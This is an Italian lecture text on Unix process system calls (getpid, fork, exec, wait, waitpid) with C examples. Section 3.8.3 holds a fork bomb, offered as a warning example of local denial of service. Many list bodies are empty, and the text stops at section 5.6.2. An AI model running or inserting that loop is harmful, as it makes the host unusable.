5 - Gestione dei Processi in Ambiente Unix/Linux: Analisi Approfondita delle System Call fork, exec, wait e waitpid

Autore: Prof. Carello Nicolò
Disclaimer: Parti del documento sono state realizzate con l’ausilio di AI generative, potrebbero pertanto contenere errori o imprecisazioni, in tal caso saranno sempre gradite ed accettate segnalaizoni all’indirizzo info@nicolocarello.it
Data: Gennaio 2026


Abstract

Il presente documento costituisce un’analisi approfondita delle primitive di sistema per la gestione dei processi nell’ambiente Unix/Linux, con particolare enfasi sulle system call fork(), exec(), wait() e waitpid(). La trattazione prende avvio dall’introduzione della chiamata getpid() per l’identificazione univoca dei processi, procedendo poi con un’esplorazione sistematica dei meccanismi di creazione, sostituzione e sincronizzazione dei processi. Il documento affronta gli aspetti teorici fondamentali, la semantica operazionale, le modalità d’uso, la gestione degli errori e le implicazioni architetturali di ciascuna primitiva, fornendo un quadro completo delle tecniche di programmazione concorrente a livello di sistema operativo. Particolare attenzione viene dedicata all’analisi dei valori di ritorno, degli stati di processo, della propagazione degli errori e delle best practice per lo sviluppo di applicazioni robuste e sicure.


Indice

  1. Introduzione

  2. Identificazione dei Processi: la System Call getpid

  3. Creazione di Processi: la System Call fork

  4. Sostituzione del Codice: la Famiglia exec

  5. Sincronizzazione dei Processi: wait e waitpid

  6. Pattern di Programmazione Avanzati

  7. Considerazioni su Sicurezza e Performance

  8. Conclusioni

  9. Bibliografia e Riferimenti

  10. Appendici


1. Introduzione

1.1 Contesto Storico e Teorico

I sistemi operativi Unix, originariamente sviluppati presso i Bell Laboratories negli anni '70, hanno introdotto un modello di gestione dei processi che si è rivelato straordinariamente duraturo e influente. Il concetto di processo come entità fondamentale di esecuzione, dotata di proprio spazio di indirizzamento e contesto di esecuzione, rappresenta uno dei pilastri architetturali di Unix e dei suoi discendenti moderni, inclusi Linux, BSD e macOS.

La filosofia Unix si basa sul principio “do one thing and do it well”, che si riflette nella progettazione delle system call: ciascuna primitiva è volutamente semplice e focalizzata su un compito specifico, ma la loro composizione permette la costruzione di sistemi complessi e sofisticati. Le system call fork(), exec() e wait() costituiscono la triade fondamentale per la gestione dei processi, fornendo rispettivamente i meccanismi per creare nuovi processi, sostituire il codice in esecuzione e sincronizzare l’esecuzione tra processi correlati.

1.2 Il Modello a Processi di Unix

Nel modello Unix, un processo rappresenta un’istanza di un programma in esecuzione. Ogni processo è caratterizzato da:

La relazione gerarchica tra processi, organizzata in una struttura ad albero con il processo init (o systemd nei sistemi moderni) come radice, costituisce un elemento fondamentale dell’architettura Unix.

1.3 Obiettivi del Documento

Il presente documento si propone di fornire una trattazione esaustiva e rigorosa delle system call per la gestione dei processi, con i seguenti obiettivi specifici:

  1. Chiarezza concettuale: illustrare i principi teorici sottostanti ciascuna primitiva, includendo le motivazioni progettuali e le implicazioni architetturali.

  2. Precisione tecnica: descrivere accuratamente la sintassi, la semantica operazionale e i comportamenti documentati e non documentati di ciascuna system call.

  3. Applicabilità pratica: fornire esempi concreti, pattern di programmazione e best practice per l’utilizzo efficace delle primitive in contesti reali.

  4. Consapevolezza degli errori: analizzare in dettaglio le modalità di fallimento, i codici di errore e le strategie di gestione robusta delle anomalie.

  5. Prospettiva sistemica: contestualizzare le primitive nell’architettura complessiva del sistema operativo, evidenziando le interazioni con altri sottosistemi.


2. Identificazione dei Processi: la System Call getpid

2.1 Concetto di Process Identifier

Nel sistema operativo Unix, ogni processo è identificato univocamente da un numero intero non negativo denominato Process Identifier (PID). Il PID costituisce la chiave primaria attraverso cui il kernel e i processi utente fanno riferimento a specifiche istanze di esecuzione. I PID vengono assegnati sequenzialmente dal kernel al momento della creazione di un nuovo processo, tipicamente incrementando un contatore globale (con gestione del wrap-around quando si raggiunge il valore massimo).

Il valore 0 è riservato allo scheduler del kernel, il valore 1 è assegnato al processo init (o systemd), che rappresenta l’antenato di tutti i processi utente. Il PID massimo è tipicamente configurabile tramite /proc/sys/kernel/pid_max nei sistemi Linux, con valori predefiniti che variano da 32768 a 4194304 a seconda dell’architettura e della configurazione.

2.2 Sintassi e Semantica di getpid

La system call getpid() permette a un processo di ottenere il proprio identificatore. Il prototipo è definito nell’header <unistd.h>:

#include <sys/types.h>
#include <unistd.h>

pid_t getpid(void);

La funzione non accetta parametri e restituisce sempre con successo il PID del processo chiamante. Il tipo pid_t, definito in <sys/types.h>, è tipicamente un alias per un intero con segno (int o long a seconda dell’architettura).

Caratteristiche salienti:

  1. Infallibilità: getpid() non può fallire e non modifica la variabile errno. La chiamata è estremamente rapida, tipicamente implementata tramite una lettura diretta da una struttura dati del kernel o, in implementazioni moderne, tramite una cache nel processo stesso (vDSO - virtual Dynamic Shared Object).

  2. Costanza durante il ciclo di vita: il PID di un processo rimane invariato per tutta la durata della sua esecuzione, dall’invocazione di fork() fino alla terminazione.

  3. Riutilizzo: dopo la terminazione di un processo e la rimozione della sua entry dalla tabella dei processi, il PID può essere riassegnato a un nuovo processo. Questo comportamento richiede cautela nella memorizzazione prolungata dei PID.

2.3 La System Call getppid

Complementare a getpid(), la system call getppid() restituisce il PID del processo padre (parent):

#include <sys/types.h>
#include <unistd.h>

pid_t getppid(void);

Anche questa funzione è infallibile e non modifica errno. Il PPID è particolarmente rilevante per comprendere la gerarchia dei processi. Quando un processo padre termina prima del figlio, il kernel riassegna la paternità del figlio al processo init (PID 1), che assume il ruolo di “raccoglitore” dei processi orfani. Questo meccanismo previene la perdita di controllo sui processi e garantisce che tutti i processi terminati vengano eventualmente raccolti tramite wait().

2.4 Utilizzi Pratici degli Identificatori di Processo

Gli identificatori di processo trovano impiego in numerosi scenari:

2.4.1 Distinzione tra Padre e Figlio dopo fork

Dopo una fork(), il valore di ritorno permette di distinguere il processo padre dal figlio, ma spesso è necessario memorizzare o comunicare i PID:

pid_t pid = fork();
if (pid == 0) {
    // Processo figlio
    printf("Figlio: il mio PID è %d, mio padre è %d\n", 
           getpid(), getppid());
} else if (pid > 0) {
    // Processo padre
    printf("Padre: il mio PID è %d, ho creato il figlio %d\n", 
           getpid(), pid);
}

2.4.2 Generazione di Nomi Univoci

I PID vengono frequentemente utilizzati per generare nomi di file temporanei univoci:

char filename[256];
snprintf(filename, sizeof(filename), "/tmp/myapp_%d.tmp", getpid());

2.4.3 Logging e Debugging

L’inclusione del PID nei messaggi di log facilita la tracciabilità in sistemi con processi multipli:

fprintf(stderr, "[%d] Errore: impossibile aprire il file\n", getpid());

2.4.4 Invio di Segnali

Le system call kill() e killpg() utilizzano i PID per indirizzare i segnali:

kill(pid, SIGTERM);  // Invia SIGTERM al processo con PID specificato

2.4.5 Sincronizzazione e IPC

I PID sono utilizzati in meccanismi di Inter-Process Communication come le code di messaggi, i semafori e la memoria condivisa per identificare i partecipanti alla comunicazione.


3. Creazione di Processi: la System Call fork

3.1 Fondamenti Teorici della fork

La system call fork() rappresenta il meccanismo primario per la creazione di nuovi processi in ambiente Unix. Il termine “fork” (biforcazione) riflette accuratamente il comportamento della chiamata: da un singolo flusso di esecuzione se ne originano due, procedendo in parallelo (o in pseudo-parallelismo su sistemi monoprocessore).

Il modello concettuale sottostante è quello della duplicazione: il processo figlio viene creato come una copia quasi esatta del processo padre al momento della chiamata. Questa scelta progettuale, apparentemente inefficiente, si rivela estremamente potente per la sua semplicità e predicibilità. La duplicazione garantisce che il figlio inizi l’esecuzione in uno stato completamente noto e controllato, eliminando ambiguità e semplificando la programmazione.

3.2 Sintassi e Prototipo

Il prototipo della fork() è definito in <unistd.h>:

#include <sys/types.h>
#include <unistd.h>

pid_t fork(void);

La funzione non accetta parametri. Il valore di ritorno è di tipo pid_t e ha una semantica particolare che richiede attenzione:

3.3 Semantica Operazionale

L’esecuzione di fork() comporta le seguenti operazioni da parte del kernel:

  1. Allocazione di una nuova entry nella tabella dei processi: il kernel crea una nuova struttura task_struct (in Linux) o equivalente, assegnando un PID univoco.

  2. Duplicazione dello spazio di indirizzamento: concettualmente, il kernel crea una copia dello spazio di indirizzamento virtuale del padre. In pratica, grazie al meccanismo Copy-on-Write (discusso in seguito), le pagine fisiche vengono inizialmente condivise.

  3. Copia del contesto di esecuzione: i registri della CPU, inclusi program counter e stack pointer, vengono duplicati. Questo assicura che il figlio riprenda l’esecuzione immediatamente dopo la fork().

  4. Duplicazione delle risorse: molte risorse del padre vengono condivise o copiate nel figlio (dettagli nella sezione 3.6).

  5. Scheduling: il processo figlio viene inserito nella coda dei processi pronti. La decisione su quale processo (padre o figlio) venga schedulizzato per primo dipende dalla politica di scheduling del kernel.

3.4 Valori di Ritorno e Loro Interpretazione

La gestione dei valori di ritorno della fork() costituisce un pattern idiomatico fondamentale:

pid_t pid = fork();

if (pid < 0) {
    // Errore: fork() ha fallito
    perror("fork");
    exit(EXIT_FAILURE);
} else if (pid == 0) {
    // Codice eseguito solo dal processo figlio
    printf("Sono il figlio, PID=%d, PPID=%d\n", getpid(), getppid());
    // ... operazioni del figlio ...
} else {
    // Codice eseguito solo dal processo padre
    // pid contiene il PID del figlio
    printf("Sono il padre, PID=%d, ho creato il figlio %d\n", 
           getpid(), pid);
    // ... operazioni del padre ...
}

È fondamentale comprendere che il controllo ritorna dalla fork() in entrambi i processi. La differenza nel valore di ritorno è l’unico meccanismo per distinguere padre e figlio. Questo comportamento, inizialmente controintuitivo, permette una grande flessibilità nella programmazione.

3.5 Copy-on-Write e Ottimizzazioni

La duplicazione completa dello spazio di indirizzamento sarebbe estremamente inefficiente, specialmente per processi con grandi aree di memoria. I kernel moderni implementano il meccanismo Copy-on-Write (COW) per ottimizzare la fork():

Principio di funzionamento:

  1. Alla fork(), le pagine di memoria vengono marcate come read-only sia nel padre che nel figlio.
  2. Le page table del figlio vengono configurate per puntare alle stesse pagine fisiche del padre.
  3. Quando uno dei due processi tenta di scrivere su una pagina condivisa, si verifica una page fault.
  4. Il kernel intercetta il fault, alloca una nuova pagina fisica, copia il contenuto della pagina originale e aggiorna le page table del processo scrivente.
  5. La scrittura viene quindi completata sulla pagina privata.

Vantaggi del COW:

Implicazioni per il programmatore:

Il meccanismo COW è trasparente per i programmi user-space. Tuttavia, la consapevolezza della sua esistenza può influenzare le decisioni progettuali, ad esempio evitando operazioni di scrittura massiva subito dopo la fork() se non strettamente necessarie.

3.6 Ereditarietà delle Risorse

Il processo figlio eredita numerose risorse e proprietà dal padre. La comprensione precisa di cosa viene condiviso e cosa viene duplicato è essenziale per evitare comportamenti inattesi.

3.6.1 Risorse Duplicate (Copiate)

3.6.2 Risorse Condivise

3.6.3 Risorse Azzerate o Modificate nel Figlio

Esempio pratico: condivisione dei file descriptor

#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>

int main() {
    int fd = open("test.txt", O_WRONLY | O_CREAT | O_TRUNC, 0644);
    if (fd < 0) {
        perror("open");
        return 1;
    }

    pid_t pid = fork();
    if (pid == 0) {
        // Figlio scrive
        write(fd, "Figlio\n", 7);
        close(fd);
    } else {
        // Padre scrive
        write(fd, "Padre\n", 6);
        close(fd);
        wait(NULL);
    }
    return 0;
}

In questo esempio, padre e figlio scrivono sullo stesso file. L’ordine delle scritture dipende dallo scheduling, ma entrambe vengono correttamente accodate poiché condividono la stessa entry nella tabella dei file aperti.

3.7 Gestione degli Errori

La fork() può fallire in diverse circostanze. I principali codici di errore sono:

EAGAIN: il sistema ha raggiunto il limite massimo di processi. Questo può essere dovuto a:

ENOMEM: memoria insufficiente per allocare le strutture dati del kernel necessarie per il nuovo processo.

ENOSYS: la fork() non è implementata (estremamente raro nei sistemi moderni).

Gestione robusta:

pid_t pid = fork();
if (pid < 0) {
    // Analisi specifica dell'errore
    switch (errno) {
        case EAGAIN:
            fprintf(stderr, "Limite di processi raggiunto\n");
            // Possibile retry con backoff o terminazione
            break;
        case ENOMEM:
            fprintf(stderr, "Memoria insufficiente\n");
            // Liberare risorse o terminare
            break;
        default:
            perror("fork");
            break;
    }
    exit(EXIT_FAILURE);
}

3.8 Esempi Pratici

3.8.1 Creazione di un Singolo Figlio

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>

int main() {
    pid_t pid;
    int status;

    printf("Padre (PID=%d) sta per fare fork\n", getpid());

    pid = fork();

    if (pid < 0) {
        perror("fork failed");
        exit(EXIT_FAILURE);
    } else if (pid == 0) {
        // Processo figlio
        printf("Figlio (PID=%d, PPID=%d) inizia esecuzione\n", 
               getpid(), getppid());
        sleep(2);
        printf("Figlio (PID=%d) termina\n", getpid());
        exit(42);  // Codice di uscita arbitrario
    } else {
        // Processo padre
        printf("Padre (PID=%d) ha creato figlio (PID=%d)\n", 
               getpid(), pid);
        printf("Padre attende la terminazione del figlio...\n");
        
        pid_t terminated_pid = wait(&status);
        
        printf("Padre: il figlio (PID=%d) è terminato\n", terminated_pid);
        if (WIFEXITED(status)) {
            printf("Codice di uscita: %d\n", WEXITSTATUS(status));
        }
    }

    return 0;
}

3.8.2 Creazione di Processi Multipli

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/wait.h>

#define NUM_CHILDREN 5

int main() {
    pid_t pids[NUM_CHILDREN];
    int i;

    // Creazione dei figli
    for (i = 0; i < NUM_CHILDREN; i++) {
        pids[i] = fork();
        
        if (pids[i] < 0) {
            perror("fork");
            exit(EXIT_FAILURE);
        } else if (pids[i] == 0) {
            // Codice del figlio
            printf("Figlio %d (PID=%d) inizia\n", i, getpid());
            sleep(i + 1);  // Tempi di esecuzione diversi
            printf("Figlio %d (PID=%d) termina\n", i, getpid());
            exit(i);  // Ogni figlio ritorna il proprio indice
        }
        // Il padre continua il ciclo per creare il prossimo figlio
    }

    // Codice del padre: attende tutti i figli
    printf("Padre: tutti i %d figli sono stati creati\n", NUM_CHILDREN);
    
    for (i = 0; i < NUM_CHILDREN; i++) {
        int status;
        pid_t pid = wait(&status);
        
        if (pid > 0 && WIFEXITED(status)) {
            printf("Padre: figlio PID=%d terminato con codice %d\n", 
                   pid, WEXITSTATUS(status));
        }
    }

    printf("Padre: tutti i figli sono terminati\n");
    return 0;
}

3.8.3 Fork Bomb (esempio didattico - NON ESEGUIRE)

Un esempio di uso improprio della fork() è la cosiddetta “fork bomb”:

// ATTENZIONE: NON ESEGUIRE QUESTO CODICE
// Questo programma può rendere il sistema inutilizzabile
int main() {
    while(1) {
        fork();
    }
}

Questo codice crea processi in modo esponenziale, saturando rapidamente le risorse di sistema. È un esempio classico di denial-of-service locale e illustra l’importanza dei limiti di sistema (ulimit -u).

3.9 Problematiche Comuni e Debugging

3.9.1 Perdita di Traccia del Flusso di Esecuzione

Un errore comune è dimenticare che dopo la fork() entrambi i processi eseguono il codice successivo:

// ERRATO
fork();
printf("Questo viene stampato due volte!\n");

Correzione: utilizzare sempre la condizione sul valore di ritorno.

3.9.2 Chiusura Impropria dei File Descriptor

Poiché i descriptor sono condivisi, la chiusura deve essere gestita con attenzione:

int fd = open("file.txt", O_RDONLY);
fork();
close(fd);  // PROBLEMA: entrambi chiudono lo stesso descriptor
// Il secondo close può fallire con EBADF

3.9.3 Sincronizzazione Insufficiente

Senza adeguata sincronizzazione (tramite wait() o altri meccanismi), l’ordine di esecuzione è non deterministico, causando potenziali race condition.

3.9.4 Gestione della Memoria in Programmi Multithreaded

La fork() duplica solo il thread chiamante. In programmi multithreaded, questo può causare stati inconsistenti (lock acquisiti da thread che non esistono più nel figlio). POSIX definisce pthread_atfork() per gestire questi casi.


4. Sostituzione del Codice: la Famiglia exec

4.1 Concetti Fondamentali

Le funzioni della famiglia exec permettono di sostituire l’immagine del processo corrente con un nuovo programma. A differenza della fork(), che crea un nuovo processo, exec() trasforma il processo esistente caricando ed eseguendo un diverso eseguibile.

Caratteristiche salienti:

  1. Sostituzione completa: il codice, i dati, lo stack e lo heap del processo vengono sostituiti con quelli del nuovo programma.

  2. Preservazione del PID: il processo mantiene lo stesso identificatore, PPID e la maggior parte delle proprietà non legate al codice eseguibile.

  3. Punto di non ritorno: se exec() ha successo, non ritorna mai al chiamante, poiché il codice originale è stato sostituito. Il ritorno di una funzione exec() è quindi sempre sinonimo di errore.

  4. Sostituzione dell’entry point: l’esecuzione del nuovo programma inizia dalla sua funzione main().

4.2 La Famiglia di Funzioni exec

POSIX definisce diverse varianti di exec, ognuna con convenzioni differenti per specificare il programma da eseguire, gli argomenti e l’ambiente. Tutte le varianti sono wrapper intorno alla system call execve() del kernel.

Le funzioni si distinguono per:

Panoramica delle varianti:

#include <unistd.h>

int execl(const char *pathname, const char *arg, ..., (char *) NULL);
int execlp(const char *file, const char *arg, ..., (char *) NULL);
int execle(const char *pathname, const char *arg, ..., 
           (char *) NULL, char *const envp[]);

int execv(const char *pathname, char *const argv[]);
int execvp(const char *file, char *const argv[]);
int execvpe(const char *file, char *const argv[], char *const envp[]);

Convenzionasuffissi:

4.3 execl e execlp

execl (exec with list)

int execl(const char *pathname, const char *arg, ..., (char *) NULL);

Esegue il programma specificato da pathname (percorso assoluto o relativo). Gli argomenti vengono passati come lista variabile, che deve terminare con un puntatore NULL esplicito.

Esempio:

execl("/bin/ls", "ls", "-l", "-a", (char *) NULL);
// Equivalente a eseguire: /bin/ls -l -a

Note importanti:

execlp (exec with list and path search)

int execlp(const char *file, const char *arg, ..., (char *) NULL);

Simile a execl, ma se file non contiene ‘/’, viene cercato nelle directory specificate dalla variabile d’ambiente PATH.

Esempio:

execlp("ls", "ls", "-l", (char *) NULL);
// Cerca 'ls' nel PATH

4.4 execle

int execle(const char *pathname, const char *arg, ..., 
           (char *) NULL, char *const envp[]);

Estende execl permettendo di specificare un ambiente personalizzato tramite l’array envp.

Esempio:

char *env[] = {
    "USER=testuser",
    "PATH=/usr/bin:/bin",
    "HOME=/home/testuser",
    NULL
};

execle("/bin/printenv", "printenv", (char *) NULL, env);

Il nuovo programma riceverà solo le variabili d’ambiente specificate in env, non quelle del processo corrente.

4.5 execv, execvp e execvpe

execv (exec with vector)

int execv(const char *pathname, char *const argv[]);

Gli argomenti sono passati come array di puntatori a stringhe, terminato da NULL.

Esempio:

char *args[] = {
    "ls",
    "-l",
    "-a",
    NULL
};

execv("/bin/ls", args);

Questa forma è particolarmente utile quando il numero di argomenti è dinamico.

execvp (exec with vector and path)

int execvp(const char *file, char *const argv[]);

Combina execv con la ricerca nel PATH.

execvpe (exec with vector, path and environment)

int execvpe(const char *file, char *const argv[], char *const envp[]);

Aggiunge la specifica dell’ambiente a execvp. Questa funzione è una estensione GNU, non standard POSIX.

4.6 Confronto tra le Varianti

Funzione Argomenti Path Search Ambiente
execl lista no ereditato
execlp lista ereditato
execle lista no esplicito
execv array no ereditato
execvp array ereditato
execvpe array esplicito

Criteri di scelta:

4.7 Comportamento in Caso di Successo

Se exec() ha successo, la chiamata non ritorna mai. Il processo corrente viene completamente trasformato:

Cosa viene sostituito:

Cosa viene preservato:

Gestione dei file descriptor:

Per default, i file descriptor rimangono aperti dopo exec(). Questo comportamento è fondamentale per la redirezione dell’I/O:

// Prima di exec, redirigiamo stdout su un file
int fd = open("output.txt", O_WRONLY | O_CREAT | O_TRUNC, 0644);
dup2(fd, STDOUT_FILENO);
close(fd);
execlp("ls", "ls", "-l", (char *) NULL);
// ls scriverà su output.txt

Per chiudere automaticamente un descriptor all’exec(), si usa il flag FD_CLOEXEC:

int fd = open("file.txt", O_RDONLY);
int flags = fcntl(fd, F_GETFD);
fcntl(fd, F_SETFD, flags | FD_CLOEXEC);
// fd sarà chiuso automaticamente alla exec()

In alternativa, si può usare O_CLOEXEC direttamente in open():

int fd = open("file.txt", O_RDONLY | O_CLOEXEC);

Signal handler:

I segnali catturati (con handler personalizzati) vengono ripristinati al comportamento di default. I segnali ignorati rimangono ignorati. Questo comportamento previene che il nuovo programma inizi con handler imprevisti.

4.8 Gestione degli Errori

Poiché exec() sostituisce il processo, il ritorno della funzione è sempre indicativo di errore. I principali codici di errore sono:

E2BIG: la lista totale di argomenti e ambiente eccede il limite di sistema (tipicamente ARG_MAX, spesso 128KB o 2MB).

EACCES:

ENOENT: il file specificato non esiste.

ENOEXEC: il file è in un formato non riconosciuto come eseguibile.

ENOMEM: memoria insufficiente per caricare il nuovo programma.

ETXTBSY: il file eseguibile è aperto in scrittura da un altro processo.

Gestione robusta:

execv("/bin/ls", args);

// Se arriviamo qui, exec ha fallito
perror("exec failed");
exit(EXIT_FAILURE);  // Importante: terminare il processo

È cruciale terminare il processo dopo un exec() fallito, specialmente dopo una fork(), per evitare che il figlio continui con il codice del padre.

4.9 Preservazione e Modificazione dello Stato

4.9.1 Bit setuid e setgid

Se l’eseguibile ha il bit setuid impostato e appartiene a root, il processo acquisisce privilegi elevati:

# Impostazione del bit setuid (richiede root)
chmod u+s /path/to/program

Dopo exec(), l’UID effettivo diventa quello del proprietario del file. Questo meccanismo è alla base di programmi come passwd e sudo.

Implicazioni di sicurezza:

4.9.2 Variabili d’ambiente e sicurezza

Variabili come LD_LIBRARY_PATH e LD_PRELOAD influenzano il caricamento delle librerie. In programmi setuid/setgid, il loader dinamico ignora queste variabili per prevenire exploit.

4.10 Esempi Pratici

4.10.1 Pattern Fork-Exec Semplice

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/wait.h>

int main() {
    pid_t pid = fork();

    if (pid < 0) {
        perror("fork");
        exit(EXIT_FAILURE);
    } else if (pid == 0) {
        // Processo figlio: esegue un nuovo programma
        printf("Figlio: eseguo ls\n");
        execlp("ls", "ls", "-l", (char *) NULL);
        
        // Se arriviamo qui, exec è fallita
        perror("exec");
        exit(EXIT_FAILURE);
    } else {
        // Processo padre: attende il figlio
        int status;
        waitpid(pid, &status, 0);
        
        if (WIFEXITED(status)) {
            printf("Padre: figlio terminato con codice %d\n", 
                   WEXITSTATUS(status));
        }
    }

    return 0;
}

4.10.2 Esecuzione con Ambiente Personalizzato

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
    char *env[] = {
        "CUSTOM_VAR=CustomValue",
        "PATH=/usr/bin:/bin",
        "USER=testuser",
        NULL
    };

    pid_t pid = fork();

    if (pid == 0) {
        execle("/usr/bin/printenv", "printenv", (char *) NULL, env);
        perror("execle");
        exit(EXIT_FAILURE);
    } else if (pid > 0) {
        wait(NULL);
    }

    return 0;
}

4.10.3 Costruzione Dinamica degli Argomenti

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int main(int argc, char *argv[]) {
    if (argc < 2) {
        fprintf(stderr, "Uso: %s <directory>\n", argv[0]);
        exit(EXIT_FAILURE);
    }

    // Costruzione dinamica dell'array di argomenti
    char *args[10];
    int i = 0;
    
    args[i++] = "ls";
    args[i++] = "-l";
    args[i++] = "-h";
    args[i++] = argv[1];  // Directory passata come argomento
    args[i] = NULL;

    pid_t pid = fork();

    if (pid == 0) {
        execvp("ls", args);
        perror("execvp");
        exit(EXIT_FAILURE);
    } else if (pid > 0) {
        wait(NULL);
    }

    return 0;
}

4.10.4 Redirezione dell’Output

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/wait.h>

int main() {
    pid_t pid = fork();

    if (pid == 0) {
        // Redirigi stdout su un file
        int fd = open("output.txt", O_WRONLY | O_CREAT | O_TRUNC, 0644);
        if (fd < 0) {
            perror("open");
            exit(EXIT_FAILURE);
        }

        // Duplica fd su STDOUT_FILENO (1)
        if (dup2(fd, STDOUT_FILENO) < 0) {
            perror("dup2");
            exit(EXIT_FAILURE);
        }
        
        close(fd);  // Chiudi il descriptor originale

        // Esegui ls, che scriverà su output.txt
        execlp("ls", "ls", "-l", (char *) NULL);
        perror("exec");
        exit(EXIT_FAILURE);
    } else if (pid > 0) {
        wait(NULL);
        printf("Output di ls salvato in output.txt\n");
    }

    return 0;
}

5. Sincronizzazione dei Processi: wait e waitpid

5.1 Il Problema della Sincronizzazione Padre-Figlio

Dopo una fork(), padre e figlio procedono in modo asincrono, eventualmente su CPU diverse. Frequentemente, il padre necessita di conoscere quando e come il figlio termina. I problemi che emergono senza sincronizzazione includono:

  1. Processi zombie: se il figlio termina prima che il padre invochi wait(), il processo diventa uno zombie, mantenendo un’entry nella tabella dei processi.

  2. Perdita di informazioni: senza wait(), il codice di uscita del figlio viene perduto.

  3. Race condition: il padre potrebbe procedere con operazioni che dipendono dal completamento del figlio.

  4. Gestione delle risorse: senza sincronizzazione, è difficile garantire la pulizia ordinata delle risorse.

Le system call wait() e waitpid() risolvono questi problemi permettendo al padre di sospendersi fino alla terminazione del figlio e di recuperare informazioni sul suo stato di uscita.

5.2 Stati di Terminazione dei Processi

Un processo può terminare in diversi modi:

5.2.1 Terminazione Normale

5.2.2 Terminazione Anomala

5.2.3 Sospensione (Non Terminazione)

Il parametro status passato a wait() e waitpid() codifica informazioni su quale di questi eventi si è verificato.

5.3 La System Call wait

Prototipo:

#include <sys/types.h>
#include <sys/wait.h>

pid_t wait(int *status);

Semantica:

  1. Sospende il processo chiamante fino alla terminazione di un qualsiasi processo figlio.
  2. Se un figlio è già terminato (stato zombie), ritorna immediatamente.
  3. Restituisce il PID del figlio terminato.
  4. Memorizza informazioni sullo stato di terminazione in *status (se status non è NULL).

Valori di ritorno:

Codici di errore:

Esempio base:

int status;
pid_t pid = wait(&status);

if (pid > 0) {
    printf("Processo figlio %d terminato\n", pid);
} else if (pid == -1) {
    perror("wait");
}

Limitazioni di wait():

Queste limitazioni hanno portato allo sviluppo di waitpid().

5.4 La System Call waitpid

Prototipo:

#include <sys/types.h>
#include <sys/wait.h>

pid_t waitpid(pid_t pid, int *status, int options);

waitpid() estende wait() con controllo preciso su quale processo attendere e con opzioni per comportamento non-bloccante.

Parametro pid:

Il comportamento varia in base al valore di pid:

Parametro status:

Come per wait(), può essere NULL se non interessa lo stato, altrimenti punta a un intero dove verranno memorizzate le informazioni.

Parametro options:

Un OR bit-a-bit di flag:

Valori di ritorno:

Esempio: attesa di un figlio specifico:

pid_t child_pid = fork();

if (child_pid == 0) {
    // Codice del figlio
    sleep(2);
    exit(42);
} else {
    int status;
    printf("Padre attende figlio %d...\n", child_pid);
    
    pid_t result = waitpid(child_pid, &status, 0);
    
    if (result == child_pid) {
        printf("Figlio %d terminato\n", result);
    }
}

Esempio: polling non-bloccante:

pid_t child_pid = fork();

if (child_pid == 0) {
    sleep(5);
    exit(0);
} else {
    int status;
    pid_t result;
    
    // Polling periodico
    do {
        result = waitpid(child_pid, &status, WNOHANG);
        
        if (result == 0) {
            printf("Figlio ancora in esecuzione...\n");
            sleep(1);
        }
    } while (result == 0);
    
    if (result == child_pid) {
        printf("Figlio terminato!\n");
    }
}

5.5 Macro per l’Analisi dello Status

Il valore status restituito da wait() e waitpid() è un intero che codifica diverse informazioni. POSIX definisce macro per estrarre queste informazioni in modo portabile:

WIFEXITED(status):

Restituisce vero (non-zero) se il figlio è terminato normalmente (via exit() o return da main).

if (WIFEXITED(status)) {
    printf("Terminazione normale\n");
}

WEXITSTATUS(status):

Se WIFEXITED è vero, estrae il codice di uscita (byte meno significativo del valore passato a exit()).

if (WIFEXITED(status)) {
    int exit_code = WEXITSTATUS(status);
    printf("Codice di uscita: %d\n", exit_code);
}

WIFSIGNALED(status):

Restituisce vero se il figlio è terminato a causa di un segnale non catturato.

if (WIFSIGNALED(status)) {
    printf("Terminato da segnale\n");
}

WTERMSIG(status):

Se WIFSIGNALED è vero, restituisce il numero del segnale che ha causato la terminazione.

if (WIFSIGNALED(status)) {
    int sig = WTERMSIG(status);
    printf("Terminato da segnale %d (%s)\n", sig, strsignal(sig));
}

WCOREDUMP(status):

Restituisce vero se il processo ha generato un core dump (non POSIX, disponibile su molti sistemi Unix).

if (WIFSIGNALED(status) && WCOREDUMP(status)) {
    printf("Core dump generato\n");
}

WIFSTOPPED(status):

Restituisce vero se il figlio è stato fermato (non terminato) da un segnale. Richiede l’opzione WUNTRACED in waitpid().

if (WIFSTOPPED(status)) {
    printf("Processo fermato\n");
}

WSTOPSIG(status):

Se WIFSTOPPED è vero, restituisce il numero del segnale che ha fermato il processo.

if (WIFSTOPPED(status)) {
    int sig = WSTOPSIG(status);
    printf("Fermato da segnale %d\n", sig);
}

WIFCONTINUED(status):

Restituisce vero se il figlio è stato riavviato da SIGCONT. Richiede l’opzione WCONTINUED in waitpid().

if (WIFCONTINUED(status)) {
    printf("Processo riavviato\n");
}

Esempio completo di analisi dello status:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/wait.h>
#include <string.h>

void analyze_status(int status) {
    if (WIFEXITED(status)) {
        printf("Terminazione normale, exit status = %d\n", 
               WEXITSTATUS(status));
    } else if (WIFSIGNALED(status)) {
        printf("Terminato da segnale %d (%s)", 
               WTERMSIG(status), strsignal(WTERMSIG(status)));
#ifdef WCOREDUMP
        if (WCOREDUMP(status)) {
            printf(" - core dump generato");
        }
#endif
        printf("\n");
    } else if (WIFSTOPPED(status)) {
        printf("Fermato da segnale %d (%s)\n", 
               WSTOPSIG(status), strsignal(WSTOPSIG(status)));
    } else if (WIFCONTINUED(status)) {
        printf("Processo riavviato\n");
    }
}

int main() {
    pid_t pid = fork();

    if (pid == 0) {
        // Figlio: diverse possibilità di terminazione
        // 1. Terminazione normale:
        // exit(42);
        
        // 2. Terminazione da segnale:
        // raise(SIGTERM);
        
        // 3. Segmentation fault:
        // int *p = NULL; *p = 0;
        
        // Per questo esempio, terminazione normale:
        exit(42);
    } else {
        int status;
        waitpid(pid, &status, 0);
        analyze_status(status);
    }

    return 0;
}

5.6 Opzioni Avanzate di waitpid

5.6.1 Combinazione di Opzioni

Le opzioni possono essere combinate con OR bit-a-bit:

int status;
pid_t result = waitpid(-1, &status, WNOHANG | WUNTRACED | WCONTINUED);

Questo attende qualsiasi figlio, senza bloccare, e ritorna anche per figli fermati o riavviati.

5.6.2 Monitoraggio di Job Control

